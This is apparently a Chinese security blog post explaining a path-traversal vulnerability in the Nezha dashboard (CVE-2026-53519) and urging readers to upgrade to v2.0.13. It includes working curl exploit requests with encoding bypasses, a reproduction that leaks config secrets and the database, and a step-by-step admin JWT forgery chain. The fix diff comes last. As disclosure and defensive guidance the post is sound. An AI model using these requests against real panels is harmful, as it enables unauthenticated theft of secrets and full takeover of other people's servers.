CVE-2026-53519 —— 一次 dashboard.. 如何掏空你的面板
紧急提醒:如果你还在使用 v2.0.13 之前 的哪吒面板,请 立即升级!本文详细拆解漏洞原理,帮助你理解威胁严重性,但 行动比理解更重要

官方公告
根据 GitHub 官方安全公告(GHSA-5c25-7vpj-9mqh)的 Summary 部分:
fallbackToFrontend in the dashboard’s NoRoute handler treats any URL whose raw string starts with
/dashboardas an admin‑frontend asset request. The check usesstrings.HasPrefix, not a path‑segment match, so the input/dashboard../data/config.yamlis accepted;strings.TrimPrefixleaves../data/config.yaml; andpath.Join("admin-dist", "../data/config.yaml")normalizes todata/config.yaml— whichos.Statfinds andhttp.ServeFilereturns. No authentication required.翻译:仪表盘的
NoRoute处理程序中的fallbackToFrontend会将任何原始字符串以/dashboard开头的 URL 视为管理前端资源请求。此检查使用strings.HasPrefix,而不是路径段匹配,因此输入/dashboard../data/config.yaml会被接受;strings.TrimPrefix会保留../data/config.yaml;而path.Join("admin-dist", "../data/config.yaml")会规范化为data/config.yaml——os.Stat可以找到该文件,并且http.ServeFile会返回该文件。无需身份验证。
致命的后续:
In default deployments,
data/config.yamlcontains the HS256jwt_secret_keyused to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.翻译:在默认部署中,
data/config.yaml包含了用于签署每个仪表盘会话 Cookie 的 HS256jwt_secret_key。未经授权的攻击者读取该密钥,伪造管理员 JWT,并以任何用户身份登录——只需一个 GET 请求即可完全控制仪表盘。
原因
漏洞代码位于 cmd/dashboard/controller/controller.go(commit 636f4a9):
// cmd/dashboard/controller/controller.go @ 636f4a9fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)if strings.HasPrefix(c.Request.URL.Path, "/dashboard") { stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard") localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath) if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) { return }}而 fallbackToFrontend 被注册为 catch‑all 路由(r.NoRoute):
// cmd/dashboard/controller/controller.go:157r.NoRoute(fallbackToFrontend(frontendDist))所有未被其他路由匹配的 URL(包括未认证的请求)都会落入这个处理函数。
checkLocalFileOrFs 内部直接调用了 os.Stat 和 http.ServeFile:
// cmd/dashboard/controller/controller.go @ 636f4a9func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) { checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool { if _, err := os.Stat(path); err == nil { http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path) return true } // ... }}关键问题:strings.HasPrefix 检查的是原始 URL 字符串,而不是 URL 的路径段。因此,/dashboard../data/config.yaml 以 /dashboard 开头,通过检查,而 TrimPrefix 后得到 ../data/config.yaml,再与 AdminTemplate(默认 admin-dist)拼接时,path.Join 将其规范化为 data/config.yaml,从而逃逸出 admin-dist 目录。
路径遍历证明
路径对比:
| 请求 URL | TrimPrefix 结果 | path.Join("admin-dist", ...) 结果 | 是否可访问 |
|---|---|---|---|
/dashboard/login | /login | admin-dist/login | 正常访问(合法) |
/dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | ❌ 被 Go 标准库拦截(URL 含独立 .. 段)→ 400 Bad Request |
/dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | ** 成功返回 200,泄露配置** |
/dashboard%2e%2e/data/config.yaml | ../data/config.yaml(解码后) | data/config.yaml | 成功返回 200(编码绕过) |
/dashboard..%2fdata/config.yaml | ../data/config.yaml(解码后) | data/config.yaml | 成功返回 200(编码绕过) |
关键洞察:/dashboard/../data/config.yaml 和 /dashboard../data/config.yaml 经过 path.Join 后指向完全相同的磁盘路径(data/config.yaml),但前者被 http.ServeFile 拒绝,后者却被成功返回。区别在于:前者 URL 中包含独立的 .. 段,触发 Go 标准库的 URL 级别遍历保护;后者将 .. 隐藏在第一个路径段 dashboard.. 内部,绕过了保护。
为什么防御全部失效?
-
前缀检查是子字符串测试,不是路径段测试
strings.HasPrefix只看原始字符串是否以/dashboard开头,dashboard和dashboard..都满足 -
路径穿越发生在
TrimPrefix之后 第一道防线(前缀检查)被轻松绕过,所有操作都在已信任的前提下进行 -
Go 标准库的
..防护检查的是原始 URL
net/http.containsDotDot仅当 URL 本身包含独立的..段时才会触发。/dashboard../data/config.yaml的第一个段是dashboard..(整体),没有独立..,因此保护机制 完全不生效 -
path.Join静默规范化,不报告逃逸
path.Join执行Clean操作,将../data/config.yaml变成data/config.yaml,但没有任何错误或警告表明路径已经逃逸出admin-dist。之后也没有进行“是否仍在模板根目录下”的锚定检查
复现
环境
- 目标版本:
github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef - 工作目录包含
admin-dist/、data/config.yaml、data/sqlite.db - 配置文件
data/config.yaml内容(包含敏感密钥):
debug: falselisten_port: 8008language: en_USjwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USEagent_secret_key: REPRO_AGENT_SECRET_VALUEsite: brand: nezha-repro预认证密钥泄露
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'响应:
HTTP/1.1 200 OKContent-Type: application/yamlContent-Length: 167
debug: falselisten_port: 8008language: en_USjwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USEagent_secret_key: REPRO_AGENT_SECRET_VALUEsite: brand: nezha-repro标准形式被 Go 拦截
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard/../data/config.yaml'返回 400 Bad Request,证明 Go 标准库对独立 .. 段有保护,但被我们的变形绕过
编码绕过同样有效
URL 编码点(%2e%2e):
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2e%2e/data/config.yaml'返回 200 并泄露完整 config.yaml。
URL 编码斜杠(%2f):
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard..%2fdata/config.yaml'同样返回 200。
双重编码失败
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%252e%252e/data/config.yaml'返回 200,但内容是 admin-dist/index.html(前端页面),因为 %252e%252e 解码后为 %2e%2e,不是真正的 ..,所以 os.Stat 找不到文件,回退到 index.html。
编码前导斜杠被拦截
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard%2f..%2fdata/config.yaml'返回 400 Bad Request,因为解码后 URL 变成了 /dashboard/../data/config.yaml,触发了独立 .. 保护。
读取 SQLite 数据库
同样的原语可以读取 data/sqlite.db:
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/sqlite.db'返回 SQLITE_FORMAT_3_FAKE_DB_CONTENT_REPRO_ONLY(测试用假数据),证明数据库文件可被完整导出。
健康检查
- 正常访问
/dashboard/仍返回admin-dist/index.html,绕过不影响合法功能。 - 请求
/api/...仍返回 JSON 格式的 404,绕过仅影响/dashboard回退分支。
攻击链
根据官方 Impact 部分,攻击者可以按以下步骤完全接管面板:
第一步:读取配置文件,获取 JWT 密钥
curl -s --path-as-is 'http://target:8008/dashboard../data/config.yaml' > config.yaml从返回的 YAML 中提取 jwt_secret_key。这是 HS256 对称签名密钥,用于生成所有会话 Cookie
第二步:读取数据库,获取管理员用户 ID
curl -s --path-as-is 'http://target:8008/dashboard../data/sqlite.db' > sqlite.db用任意 SQLite 浏览器打开,查看 users 表,获取管理员用户的 id(通常为 1)以及其他可能用于 JWT 声明的字段
第三步:伪造管理员 JWT
面板的 JWT 中间件(cmd/dashboard/controller/jwt.go:22,27)配置为:
- 算法:
HS256 - 密钥:
[]byte(singleton.Conf.JWTSecretKey) - Cookie 名称:
nz-jwt - 身份键:
model.CtxKeyAuthorizedUser
由于 HS256 是对称算法,拥有密钥即可签署任何有效的令牌。攻击者用获取的密钥生成一个 JWT,其中 user_id 声明设为管理员的 ID(例如 1)
第四步:以管理员身份操作
将伪造的 JWT 作为 nz-jwt Cookie(或 Authorization: Bearer 头)附加到后续请求中。所有挂载在 adminHandler 链下的接口(CRUD 服务器、用户、定时任务、通知、OAuth2 设置等)都将接受该会话,攻击者获得 完全控制权。
官方结论:该攻击链对默认配置的仪表盘是 完全确定性的:两次未经认证的 HTTP GET 请求 + 一个 JWT 签名操作,无需竞争条件、无需用户交互、无需特殊时序。
影响范围
利用该原语,攻击者可以读取仪表盘工作目录下任何可通过逃逸 admin-dist 一级目录访问的文件。默认部署中包括:
| 文件 | 默认路径 | 重要性 |
|---|---|---|
data/config.yaml | 由 -c 标志指定(默认 cmd/dashboard/main.go:104) | 包含 jwt_secret_key(HS256 签名密钥)、agent_secret_key、OAuth2 客户端密钥、GitHub release token、GeoIP API 密钥以及任何自定义机密 |
data/sqlite.db | 由 -db 标志指定(默认 cmd/dashboard/main.go:105) | 完整的面板状态:用户(含管理员)、bcrypt 密码哈希、服务器注册表、API 令牌、通知配置 |
该漏洞也影响了用户模板分支(lines 399–405),虽然当前 /dashboard 前缀混淆不会直接命中它,但任何未来代码更改都可能重新引入相同的原语
修复方案
官方在 v2.0.13 中修复了该漏洞。核心思路是将前缀测试改为路径段感知,并在文件系统调用前检查清理后的路径是否逃逸出模板根目录。最小 diff 如下:
- if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {- stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")+ if c.Request.URL.Path == "/dashboard/" || strings.HasPrefix(c.Request.URL.Path, "/dashboard/") {+ stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard/")+ cleanPath := path.Clean("/" + stripPath)+ if cleanPath == ".." || strings.HasPrefix(cleanPath, "../") || strings.Contains(cleanPath, "/../") {+ c.JSON(http.StatusNotFound, newErrorResponse(errors.New("404 Not Found")))+ return+ } localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)由于 line 382 已经存在 /dashboard 到 /dashboard/ 的重定向,要求尾部斜杠是安全的,并且与 frontendPageUrlRegistry 中的正则表达式一致。
防御:将本地的 os.Stat + http.ServeFile 分支替换为基于嵌入 admin-dist 子目录的 http.FileServer(http.FS(subFS)),这样可以完全消除工作目录逃逸的风险。
请立即检查你的面板版本,如果低于 v2.0.13,请立刻升级! 升级后,建议更换 jwt_secret_key 并重置所有密码,同时检查系统是否存在异常。安全无小事,请将本文转发给所有使用哪吒面板的朋友。
参考链接:
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









